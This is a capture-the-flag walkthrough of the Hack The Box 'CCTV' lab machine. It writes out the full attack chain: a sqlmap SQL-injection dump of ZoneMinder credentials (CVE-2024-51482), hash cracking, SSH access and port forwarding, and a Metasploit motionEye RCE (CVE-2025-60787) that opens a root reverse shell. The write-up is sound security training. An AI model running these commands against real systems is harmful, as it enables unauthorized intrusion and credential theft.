CCTV WriteUp
Table of Contents
CCTV is a π© Easy machine on Hack The Box. It chains a SQL Injection in ZoneMinder to obtain SSH credentials, with the discovery of internal video surveillance services after pivoting from the compromised machine. Escalation to root is achieved through an authenticated RCE in motionEye.
- IP:
10.129.3.35 - Approximate time:
~1.5h
πΊοΈ Attack Chain
Nmap β Port 80 (ZoneMinder 1.37.63)
β
βΌ
Default credentials admin:admin β panel access
β
βΌ
CVE-2024-51482 (Boolean SQLi) β sqlmap β mark:opensesame
β
βΌ
SSH as mark
β
βΌ
LinPEAS β tcpdump (cap_net_raw) + internal ports
β
βΌ
Port Forwarding β motionEye 0.43.1b4 on :8765
β
βΌ
/etc/motioneye/motion.conf β admin:989c5a8ee87a0e9521ec81a79187d162109282f0
β
βΌ
CVE-2025-60787 (Metasploit RCE) β root π΄
π Reconnaissance
Port Scanning
echo "10.129.3.35 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 Ubuntu |
80 | HTTP | Apache 2.4.58 β SecureVision CCTV |
Small attack surface. Port 22 is not vulnerable, so we focus on port 80.
π Port 80 β ZoneMinder
The site is SecureVision, a security solutions company (CCTV, access control, etc.). The only entry point is the Staff Login button, which redirects to a ZoneMinder panel.
π§ What is ZoneMinder? Open-source CCTV software for Linux, compatible with IP, USB and analog cameras.
First, we try the default credentials:
admin:admin
They work. Once in, we confirm the version via the API:
curl -s http://cctv.htb/zm/api/host/getVersion.json \
--cookie "ZMSESSID=<your_cookie>" | jq
{
"version": "1.37.63",
"apiversion": "2.0"
}
ZoneMinder 1.37.63 β a quick search reveals CVE-2024-51482
, rated 9.9 CRITICAL.
CVE-2024-51482 β Boolean-Based SQL Injection
This is a blind boolean-based SQLi on the tid parameter. Doing it manually would take hours, so we use sqlmap directly against the ZoneMinder credentials table:
π‘ ZoneMinder stores users and passwords in the
zmdatabase, tableUsers, columnsUsernameandPassword.
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<your_cookie>" \
-D "zm" -T "Users" -C "Username,Password" \
--dump --batch
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/... |
| mark | $2y$10$prZGnazejKcuTv5bKNexXO... |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.... |
+------------+--------------------------------------------------------------+
Cracking the Hashes
The hashes are BCrypt ($2y$10$) with 1024 iterations. We run them through hashcat:
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
$2y$10$prZGnazejKcuTv5bKNexXO...:opensesame β mark
$2y$10$t5z8uIT.n9uCdHCNidcLf... :admin β admin
β οΈ
superadmindoesn’t appear in rockyou. Theadmin:admincredentials we already had β the relevant ones aremark:opensesame.
π Initial Access β SSH as mark
ssh mark@cctv.htb
# password: opensesame
mark@cctv:~$
π© User Flag
cat /home/sa_mark/user.txt
π Internal Reconnaissance
We run LinPEAS and note the most relevant findings:
Multiple network interfaces (veth..., br-...) β pointing to Docker containers running on the machine.
Ports listening on localhost:
| Port | Identified service |
|---|---|
7999 | Motion 4.7.1 |
1935 | MediaMTX (RTMP) |
8554 | MediaMTX (RTSP) |
8765 | motionEye 0.43.1b4 |
8888 | MediaMTX (HTTP API) |
9081 | MJPEG stream (camera) |
3306 | MySQL 8.0.45 |
Notable capabilities:
/usr/bin/tcpdump cap_net_raw=eip β allows traffic capture
/usr/bin/ping cap_net_raw=ep
π‘
cap_net_raw=eipon tcpdump means it’s active from startup (e), permitted (p) and inheritable by child processes (i). We could capture traffic on internal interfaces, but there’s a more direct vector.
Port Forwarding to Internal Services
We forward the most interesting ports to our machine to analyze them from the browser:
ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 mark@cctv.htb
Running nmap on the forwarded ports identifies:
:7999β Motion 4.7.1 (motion detection daemon):8765β motionEye 0.43.1b4 (web frontend for Motion):9081β Live MJPEG stream from a camera
π§ Video surveillance stack: Motion captures frames from the cameras, motionEye provides the web interface to manage it, and MediaMTX routes the RTSP/RTMP streams.
π motionEye Credentials
We look for credentials in the configuration files:
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password
The value looks like a SHA-1 hash, but neither Crackstation nor hashcat with rockyou can crack it. We try using it directly as a password with admin:
admin:989c5a8ee87a0e9521ec81a79187d162109282f0 β
β οΈ It wasn’t a hash β it was the plaintext password stored in that unusual format inside the config file.
π§ Privilege Escalation β CVE-2025-60787
motionEye 0.43.1b4 is vulnerable to CVE-2025-60787
, an authenticated RCE in the add_camera function. A Metasploit module exists:
msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST <your_ip>
set LPORT 4444
run
[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Adding malicious camera...
[+] Camera successfully added
[*] Triggering exploit...
[*] Meterpreter session 1 opened
meterpreter > shell
whoami
root
π΄ Root Flag
cat /root/root.txt
π Attack Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | ZoneMinder 1.37.63 on port 80 |
| 2 | Default credentials | Browser | ZoneMinder panel access |
| 3 | CVE-2024-51482 (SQLi) | sqlmap | BCrypt hash of mark |
| 4 | Hash cracking | hashcat + rockyou | mark:opensesame |
| 5 | Initial access | ssh | Shell as mark |
| 6 | Internal recon | linpeas, port forwarding | motionEye 0.43.1b4 on :8765 |
| 7 | Config file read | cat /etc/motioneye/motion.conf | admin:989c5a8... |
| 8 | CVE-2025-60787 (RCE) | Metasploit | Shell as root π΄ |
See you in the next challenge.
